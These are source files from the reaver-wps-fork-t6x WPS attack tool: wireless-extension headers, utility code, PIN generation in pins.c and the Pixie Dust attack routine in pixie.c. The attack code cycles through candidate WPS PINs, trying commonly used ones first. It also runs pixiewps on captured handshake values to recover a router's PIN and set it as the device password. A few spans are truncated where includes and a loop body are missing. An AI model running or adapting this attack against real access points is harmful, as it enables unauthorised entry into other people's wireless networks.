uint8_t i; /* List index (when in range struct) */ uint8_t flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { uint8_t qual; /* link quality (%retries, SNR, %missed beacons or better...) */ uint8_t level; /* signal level (dBm) */ uint8_t noise; /* noise level (dBm) */ uint8_t updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { uint32_t nwid; /* Rx : Wrong nwid/essid */ uint32_t code; /* Rx : Unable to code/decode (WEP) */ uint32_t fragment; /* Rx : Can't perform MAC reassembly */ uint32_t retries; /* Tx : Max MAC retries num reached */ uint32_t misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { uint32_t beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { uint8_t scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ uint8_t essid_len; uint8_t num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ uint8_t flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ uint8_t essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ uint32_t min_channel_time; /* in TU */ uint32_t max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { uint32_t ext_flags; /* IW_ENCODE_EXT_* */ uint8_t tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ uint8_t rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ uint16_t alg; /* IW_ENCODE_ALG_* */ uint16_t key_len; uint8_t key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { uint16_t cmd; /* IW_MLME_* */ uint16_t reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { uint32_t cmd; /* IW_PMKSA_* */ struct sockaddr bssid; uint8_t pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { uint32_t flags; struct sockaddr src_addr; uint8_t tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct iw_pmkid_cand { uint32_t flags; /* IW_PMKID_CAND_* */ uint32_t index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { uint16_t status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ uint32_t mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ uint32_t throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ uint32_t min_nwid; /* Minimal NWID we are able to set */ uint32_t max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ uint16_t old_num_channels; uint8_t old_num_frequency; /* Wireless event capability bitmasks */ uint32_t event_capa[6]; /* signal level threshold range */ int32_t sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ uint8_t num_bitrates; /* Number of entries in the list */ int32_t bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ int32_t min_rts; /* Minimal RTS threshold */ int32_t max_rts; /* Maximal RTS threshold */ /* Frag threshold */ int32_t min_frag; /* Minimal frag threshold */ int32_t max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ int32_t min_pmp; /* Minimal PM period */ int32_t max_pmp; /* Maximal PM period */ int32_t min_pmt; /* Minimal PM timeout */ int32_t max_pmt; /* Maximal PM timeout */ uint16_t pmp_flags; /* How to decode max/min PM period */ uint16_t pmt_flags; /* How to decode max/min PM timeout */ uint16_t pm_capa; /* What PM options are supported */ /* Encoder stuff */ uint16_t encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ uint8_t num_encoding_sizes; /* Number of entry in the list */ uint8_t max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ uint8_t encoding_login_index; /* token index for login token */ /* Transmit power */ uint16_t txpower_capa; /* What options are supported */ uint8_t num_txpower; /* Number of entries in the list */ int32_t txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ uint8_t we_version_compiled; /* Must be WIRELESS_EXT */ uint8_t we_version_source; /* Last update of source */ /* Retry limits and lifetime */ uint16_t retry_capa; /* What retry options are supported */ uint16_t retry_flags; /* How to decode max/min retry limit */ uint16_t r_time_flags; /* How to decode max/min retry life */ int32_t min_retry; /* Minimal number of retries */ int32_t max_retry; /* Maximal number of retries */ int32_t min_r_time; /* Minimal retry lifetime */ int32_t max_r_time; /* Maximal retry lifetime */ /* Frequency */ uint16_t num_channels; /* Number of channels [0; num - 1] */ uint8_t num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ uint32_t enc_capa; /* IW_ENC_CAPA_* bit field */ /* More power management stuff */ int32_t min_pms; /* Minimal PM saving */ int32_t max_pms; /* Maximal PM saving */ uint16_t pms_flags; /* How to decode max/min PM saving */ /* All available modulations for driver (hw may support less) */ int32_t modul_capa; /* IW_MODUL_* bit field */ /* More bitrate stuff */ uint32_t bitrate_capa; /* Types of bitrates supported */ }; /* * Private ioctl interface information */ struct iw_priv_args { uint32_t cmd; /* Number of the ioctl to issue */ uint16_t set_args; /* Type and number of args */ uint16_t get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { uint16_t len; /* Real lenght of this stuff */ uint16_t cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(uint32_t)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* iw_point events are special. First, the payload (extra data) come at * the end of the event, so they are bigger than IW_EV_POINT_LEN. Second, * we omit the pointer, so start at an offset. */ #define IW_EV_POINT_OFF (((char *) &(((struct iw_point *) NULL)->length)) - \ (char *) NULL) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point) - \ IW_EV_POINT_OFF) #endif /* _LINUX_WIRELESS_H */ reaver-wps-fork-t6x-1.6.6/src/m4/000077500000000000000000000000001363372615500164175ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/m4/as-compiler-flag.m4000066400000000000000000000025541363372615500220110ustar00rootroot00000000000000dnl as-compiler-flag.m4 0.1.0 dnl autostars m4 macro for detection of compiler flags dnl David Schleef dnl Tim-Philipp Müller dnl AS_COMPILER_FLAG(CFLAGS, ACTION-IF-ACCEPTED, [ACTION-IF-NOT-ACCEPTED]) dnl Tries to compile with the given CFLAGS. dnl Runs ACTION-IF-ACCEPTED if the compiler can compile with the flags, dnl and ACTION-IF-NOT-ACCEPTED otherwise. AC_DEFUN([AS_COMPILER_FLAG], [ AC_MSG_CHECKING([to see if compiler understands $1]) save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $1" AC_TRY_COMPILE([ ], [], [flag_ok=yes], [flag_ok=no]) CFLAGS="$save_CFLAGS" if test "X$flag_ok" = Xyes ; then $2 true else $3 true fi AC_MSG_RESULT([$flag_ok]) ]) dnl AS_CXX_COMPILER_FLAG(CPPFLAGS, ACTION-IF-ACCEPTED, [ACTION-IF-NOT-ACCEPTED]) dnl Tries to compile with the given CPPFLAGS. dnl Runs ACTION-IF-ACCEPTED if the compiler can compile with the flags, dnl and ACTION-IF-NOT-ACCEPTED otherwise. AC_DEFUN([AS_CXX_COMPILER_FLAG], [ AC_REQUIRE([AC_PROG_CXX]) AC_MSG_CHECKING([to see if c++ compiler understands $1]) save_CPPFLAGS="$CPPFLAGS" CPPFLAGS="$CPPFLAGS $1" AC_LANG_PUSH(C++) AC_TRY_COMPILE([ ], [], [flag_ok=yes], [flag_ok=no]) CPPFLAGS="$save_CPPFLAGS" if test "X$flag_ok" = Xyes ; then $2 true else $3 true fi AC_LANG_POP(C++) AC_MSG_RESULT([$flag_ok]) ]) reaver-wps-fork-t6x-1.6.6/src/main.c000066400000000000000000000010661363372615500171720ustar00rootroot00000000000000#include extern int reaver_main(int argc, char **argv); extern int wash_main(int argc, char **argv); #define C_REAVER 0 #define C_WASH 1 int main(int argc, char** argv) { char *e = strrchr(argv[0], '/'); if(!e) e = argv[0]; else e++; int command = C_REAVER; if(!strcmp(e, "reaver")) command = C_REAVER; else if(!strcmp(e, "wash")) command = C_WASH; else if(strstr(e, "wash")) command = C_WASH; else if(strstr(e, "reaver")) command = C_REAVER; if(command == C_WASH) return wash_main(argc, argv); else return reaver_main(argc, argv); } reaver-wps-fork-t6x-1.6.6/src/misc.c000066400000000000000000000067721363372615500172120ustar00rootroot00000000000000/* * Reaver - Misc functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "misc.h" /* Converts a raw MAC address to a colon-delimited string */ /* buf holds the result & needs to be 18 bytes */ void mac2str_buf(unsigned char *mac, char delim, char* buf) { #define PAT "%.2X%c" #define PRT(X) mac[X], delim #define PBT "%.2X" if(delim) sprintf(buf, PAT PAT PAT PAT PAT PBT, PRT(0), PRT(1), PRT(2), PRT(3), PRT(4), mac[5]); else sprintf(buf, PBT PBT PBT PBT PBT PBT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); } /* Converts a raw MAC address to a colon-delimited string */ char *mac2str(unsigned char *mac, char delim) { char nyu[6*3]; mac2str_buf(mac, delim, nyu); return strdup(nyu); } /* Converts a colon-delimited string to a raw MAC address */ void str2mac(char *str, unsigned char *mac) { char *delim_ptr = NULL, *num_ptr = NULL, *tmp_str = NULL; char delim = ':'; int count = 0; tmp_str = strdup(str); delim_ptr = num_ptr = tmp_str; while((delim_ptr = strchr(delim_ptr, delim)) && count < (MAC_ADDR_LEN-1)) { memset(delim_ptr, 0, 1); mac[count] = strtol(num_ptr, NULL, 16); delim_ptr++; count++; num_ptr = delim_ptr; } mac[count] = strtol(num_ptr, NULL, 16); free(tmp_str); return; } static int cprintf_muted; void cprintf_mute() { cprintf_muted = 1; } void cprintf_unmute() { cprintf_muted = 0; } int cprintf_ismuted() { return cprintf_muted; } /* Conditional printf wrapper */ void cprintf(enum debug_level level, const char *fmt, ...) { va_list arg; if(!cprintf_muted && (level <= get_debug())) { va_start(arg, fmt); vfprintf(get_log_file(), fmt, arg); va_end(arg); } fflush(get_log_file()); } /* Closes libpcap during sleep period to avoid stale packet data in pcap buffer */ void pcap_sleep(int seconds) { if(seconds > 0) { pcap_close(get_handle()); set_handle(NULL); sleep(seconds); set_handle(capture_init(get_iface())); if(!get_handle()) { cprintf(CRITICAL, "[-] Failed to re-initialize interface '%s'\n", get_iface()); } } } reaver-wps-fork-t6x-1.6.6/src/misc.h000066400000000000000000000037461363372615500172150ustar00rootroot00000000000000/* * Reaver - Misc functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef MISC_H #define MISC_H #include #include #include #include #include "defs.h" #include "init.h" #include "globule.h" #include "cprintf.h" void mac2str_buf(unsigned char *mac, char delim, char* buf); char *mac2str(unsigned char *mac, char delim); void str2mac(char *str, unsigned char *mac); void daemonize(void); void pcap_sleep(int seconds); #endif reaver-wps-fork-t6x-1.6.6/src/pcapfile.c000066400000000000000000000026041363372615500200300ustar00rootroot00000000000000/* simple pcap file writer (C) 2018 rofl0r */ #include #include #include "utils/endianness.h" #ifdef SWITCH_ENDIAN /* if defined allows to use the opposite endian format for testing */ # define SWAP_IF_SWITCHED(X) end_bswap32(X) # define NOT_IF_SWITCHED ! #else # define SWAP_IF_SWITCHED(X) X # define NOT_IF_SWITCHED #endif static void pcapfile_write_header_be(int outfd) { write(outfd, "\xA1\xB2\xC3\xD4" "\x00\x02\x00\x04" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x04\x00\x00" "\x00\x00\x00\x7F", 24); } static void pcapfile_write_header_le(int outfd) { write(outfd, "\xD4\xC3\xB2\xA1" "\x02\x00\x04\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x04\x00" "\x7F\x00\x00\x00", 24); } void pcapfile_write_header(int outfd) { if (NOT_IF_SWITCHED ENDIANNESS_BE) pcapfile_write_header_be(outfd); else pcapfile_write_header_le(outfd); } void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data) { struct pcap_file_pkthdr { unsigned sec_epoch; unsigned ms_sec; unsigned caplen; unsigned len; } hdr_out = { .sec_epoch = SWAP_IF_SWITCHED(h_out->ts.tv_sec), .ms_sec = SWAP_IF_SWITCHED(h_out->ts.tv_usec), .caplen = SWAP_IF_SWITCHED(h_out->caplen), .len = SWAP_IF_SWITCHED(h_out->len), }; write(outfd, &hdr_out, sizeof hdr_out); write(outfd, data, h_out->len); } reaver-wps-fork-t6x-1.6.6/src/pcapfile.h000066400000000000000000000003451363372615500200350ustar00rootroot00000000000000#ifndef PCAPFILE_H #define PCAPFILE_H #include void pcapfile_write_header(int outfd); void pcapfile_write_packet(int outfd, struct pcap_pkthdr *h_out, const unsigned char* data); //RcB: DEP "pcapfile.c" #endif reaver-wps-fork-t6x-1.6.6/src/pins.c000066400000000000000000000122131363372615500172130ustar00rootroot00000000000000/* * Reaver - WPS PIN functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "pins.h" /* Builds a WPS PIN from the key tables */ char *build_wps_pin() { char *key = NULL, *pin = NULL; int pin_len = PIN_SIZE + 1; pin = malloc(pin_len); key = malloc(pin_len); if(pin && key) { memset(key, 0, pin_len); memset(pin, 0, pin_len); /* Generate a 7-digit pin from the given key index values */ snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(get_p2_index())); /* Generate and append the pin checksum digit */ snprintf(pin, pin_len, "%s%d", key, wps_pin_checksum(atoi(key))); free(key); } return pin; } /* * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays, * and populate the wps structure with the new pin. */ char *build_next_pin() { char *pin = NULL; struct wps_data *wps = get_wps(); /* Remove previous pin */ wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e); int add_result = 0; if (get_pin_string_mode()) { /* Use an arbitrary string as WPS pin */ pin = strdup(get_static_p1()); /* Add the new pin */ add_result = wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, strlen(pin), 0); } else { /* Build a new pin */ pin = build_wps_pin(); if(pin) { /* Add the new pin */ add_result = wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0); } } if(add_result != 0) { free(pin); pin = NULL; } return pin; } /* Generate the p1 and p2 pin arrays */ void generate_pins() { int i = 0, index = 0; /* If the first half of the pin was specified, * generate a list of possible pins with the specified first half pin first */ if(get_static_p1() && !get_pin_string_mode()) { i = get_k1_key_index(atoi(get_static_p1())); set_p1(index, k1[i].key); k1[i].priority = 2; index++; } /* * Look for P1 keys marked as priority. These are pins that have been * reported to be commonly used on some APs and should be tried first. */ for(i=0; i * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef PINS_H #define PINS_H #include "defs.h" #include "globule.h" #include "keys.h" #define PIN_SIZE 8 /* Defined in keys.c */ extern struct key k1[P1_SIZE]; extern struct key k2[P2_SIZE]; char *build_wps_pin(); char *build_next_pin(); void generate_pins(); #endif reaver-wps-fork-t6x-1.6.6/src/pixie.c000066400000000000000000000076321363372615500173710ustar00rootroot00000000000000#include #undef _POSIX_C_SOURCE #define _POSIX_C_SOURCE 200809L #include #include static int msleep(long millisecs) { struct timespec req, rem; req.tv_sec = millisecs / 1000; req.tv_nsec = (millisecs % 1000) * 1000 * 1000; int ret; while((ret = nanosleep(&req, &rem)) == -1 && errno == EINTR) req = rem; return ret; } #include "pixie.h" #include "globule.h" #include "send.h" #include #include #include #include struct pixie pixie = {0}; void pixie_format(const unsigned char *in, unsigned len, char *outbuf) { unsigned i; char *out = outbuf; for(i = 0; i < len; i++, out+=2) { sprintf(out, "%02x", in[i]); } if(i) *out = 0; } #define PIXIE_SUCCESS "[+] WPS pin:" static int pixie_run(char *pixiecmd, char *pinbuf, size_t *pinlen) { int ret = 0; FILE *pr = popen(pixiecmd, "r"); if(pr) { char buf[1024], *p; while(fgets(buf, sizeof buf, pr)) { printf("%s", buf); if(ret) continue; p = buf; while(isspace(*p))++p; if(!strncmp(p, PIXIE_SUCCESS, sizeof(PIXIE_SUCCESS)-1)) { ret = 1; char *pin = p + sizeof(PIXIE_SUCCESS)-1; while(isspace(*pin))++pin; if(!strncmp(pin, "", 7)) { *pinlen = 0; *pinbuf = 0; } else { char *q = strchr(pin, '\n'); if(q) *q = 0; else { fprintf(stderr, "oops1\n"); ret = 0; } size_t pl = strlen(pin); if(pl < *pinlen) { memcpy(pinbuf, pin, pl+1); *pinlen = pl; } else { fprintf(stderr, "oops2\n"); ret = 0; } } } } pclose(pr); } return ret; } static struct pixie_thread_data { char cmd[4096]; char pinbuf[64]; size_t pinlen; } ptd; static volatile int thread_done; static int timeout_hit; static void* pixie_thread(void *data) { unsigned long ret = pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen); thread_done = 1; return (void*)ret; } #include static int pixie_run_thread(void *ptr) { /* to prevent from race conditions with 2 threads accessing stdout */ cprintf_mute(); pthread_t pt; if(pthread_create(&pt, 0, pixie_thread, ptr) != 0) { cprintf(INFO, "[-] error creating pixie thread\n"); return pixie_run(ptd.cmd, ptd.pinbuf, &ptd.pinlen); } unsigned long long us_passed = 0, timeout_usec = get_rx_timeout() * 1000000LL; while(!thread_done) { us_passed += 2000; if(!timeout_hit && (us_passed >= timeout_usec)) { timeout_hit = 1; send_wsc_nack(); /* sending silent nack */ } msleep(2); } void *thread_ret; pthread_join(pt, &thread_ret); cprintf_unmute(); return (unsigned long)thread_ret; } extern void update_wpc_from_pin(void); void pixie_attack(void) { struct wps_data *wps = get_wps(); struct pixie *p = &pixie; int dh_small = get_dh_small(); if(p->do_pixie) { char uptime_str[64]; snprintf(uptime_str, sizeof(uptime_str), "-u %llu ", (unsigned long long) globule->uptime); snprintf(ptd.cmd, sizeof (ptd.cmd), "pixiewps %s-e %s -s %s -z %s -a %s -n %s %s %s", (p->use_uptime ? uptime_str : ""), p->pke, p->ehash1, p->ehash2, p->authkey, p->enonce, dh_small ? "-S" : "-r" , dh_small ? "" : p->pkr); printf("executing %s\n", ptd.cmd); ptd.pinlen = 64; ptd.pinbuf[0] = 0; if(pixie_run_thread(&ptd)) { cprintf(INFO, "[+] Pixiewps: success: setting pin to %s\n", ptd.pinbuf); set_pin(ptd.pinbuf); if(timeout_hit) { cprintf(VERBOSE, "[+] Pixiewps timeout hit, sent WSC NACK\n"); cprintf(INFO, "[+] Pixiewps timeout, exiting. Send pin with -p\n"); update_wpc_from_pin(); exit(0); } free(wps->dev_password); wps->dev_password = malloc(ptd.pinlen+1); memcpy(wps->dev_password, ptd.pinbuf, ptd.pinlen+1); wps->dev_password_len = ptd.pinlen; } else { cprintf(INFO, "[-] Pixiewps fail, sending WPS NACK\n"); send_wsc_nack(); exit(1); } } PIXIE_FREE(authkey); PIXIE_FREE(pkr); PIXIE_FREE(pke); PIXIE_FREE(enonce); PIXIE_FREE(ehash1); PIXIE_FREE(ehash2); } reaver-wps-fork-t6x-1.6.6/src/pixie.h000066400000000000000000000011241363372615500173640ustar00rootroot00000000000000#ifndef PIXIE_H #define PIXIE_H #define _GNU_SOURCE #define _POSIX_SOURCE 200809L #include struct pixie { char *authkey; char *pkr; char *pke; char *enonce; char *ehash1; char *ehash2; int do_pixie; int use_uptime; }; extern struct pixie pixie; #define PIXIE_FREE(KEY) \ do { \ if(pixie.KEY) free(pixie.KEY); \ pixie.KEY = 0; \ } while(0) #define PIXIE_SET(KEY, VALUE) \ do { \ if(pixie.KEY) free(pixie.KEY); \ pixie.KEY = strdup(VALUE); \ } while(0) void pixie_format(const unsigned char *key, unsigned len, char *outbuf); void pixie_attack(void); #endif reaver-wps-fork-t6x-1.6.6/src/radiotap_flags.h000066400000000000000000000077071363372615500212420ustar00rootroot00000000000000#ifndef RADIOTAP_FLAGS_H #define RADIOTAP_FLAGS_H /* (C) 2014 - 2017 rofl0r released under the public domain. */ #include /* prevent redefining the same types when the official radiotap header is in use too */ #ifndef IEEE80211RADIOTAP_H struct ieee80211_radiotap_header { uint8_t it_version; uint8_t it_pad; uint16_t it_len; uint32_t it_present; }; enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, 